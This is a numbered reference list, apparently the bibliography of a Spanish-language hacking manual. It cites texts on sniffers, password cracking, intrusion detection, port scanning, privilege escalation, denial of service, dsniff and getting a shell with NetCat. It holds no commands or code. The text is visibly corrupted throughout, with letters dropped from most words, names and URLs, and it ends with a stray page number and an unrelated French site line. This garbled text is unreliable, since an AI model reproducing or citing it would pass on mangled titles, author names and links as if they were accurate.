2. Cmo Voverse Un Hacker; por Erc Steven Raymond |http://www.catb.org/-esr/faqs/hacker-
howto.htm|
3. "La Dedcacn ntegra"; por Davd Rankne y Sorta. Reformuada por BtzKreg
4. Snffn' the Ether; por Aarc
5. Snffers Torn Apart; por Ankt Fada
6. Manua ARP; Por Fred N. van Kempen. 2005
7. Passwords; por Ankt Fada
8. Password crackng wth L0phtCrack 3.0; Por Patrck Bosmenu
9. Sstemas de Deteccn de Intrusos; por Sergo de os Santos; Revsta @rroba.
10. FTP; Por Laur Watts, Documentacn de Freespre
11. Tcncas Avanzadas de Escaneo. Test de Penetracn; Por Ismae Brones Var, Revsta @rroba.
12. Gosaro Informtco; Por Rafae Fernndez Cavo
13. The Offca Gude To Hackng And Phreakng; Por Amercan Anarchst, Forces Of Darkness.
14. Hackng: What's Lega And What's Not; Por Xandor SymmLeo Xet. 1987
15. Aprovechando Puertas Abertas; Por Marceo Damonte
16. Tenet, Yo Tengo e Poder; Por Ncos Vesquez; Revsta @rroba.
17. Introducton to dsnff; por Lora Danee
18. Penetraton Testng wth dsnff; Por Chrstopher R. Russe, 2001
19. Psychotc's FAO; Por Vrtua Crcut y Psychotc.
20. Network Intruson Detecton: Por Stephen Northcutt
21. Escaandp Prvegos; Por Ismae Brones Var.
22. Packet Anayss Toos and methodoogy part 1; Por Don Parker
23. Denegacn de Servco: DoS, DDoS y DRDoS; Por Ismae Brones Var.
24. Tutora: Hpng2 Bascs; Por Chrs Gates.
25. Las Cuentas She; Por Ncos Vezquez.
26. Redes de Computadoras: Por Andrew S. Tanenbaum. 1997
27. The Modern Hacker's Desk Reference, Verson 1.2; Por The Rhno9 Team
28. Kber; NetCat. Sacndoe Provecho a una exceente Utdad
29. Magkh0e; Hackng Wth Your Cat -Ver 1.2
30. Pendente; NetCat: Consegur una She
31.Hobbt; NetCat, Hep Fe http://m.nu/program/util/netcat/netcat.html
32. ntroduccn a unx; Servco de Informtca de a Unversdad de Amera.
33. Manua de UNIX, Rev 2.4; Por |onathan Noe Tombs y |orge Chvez Orzez. 1995
210

Vous aimerez peut-être aussi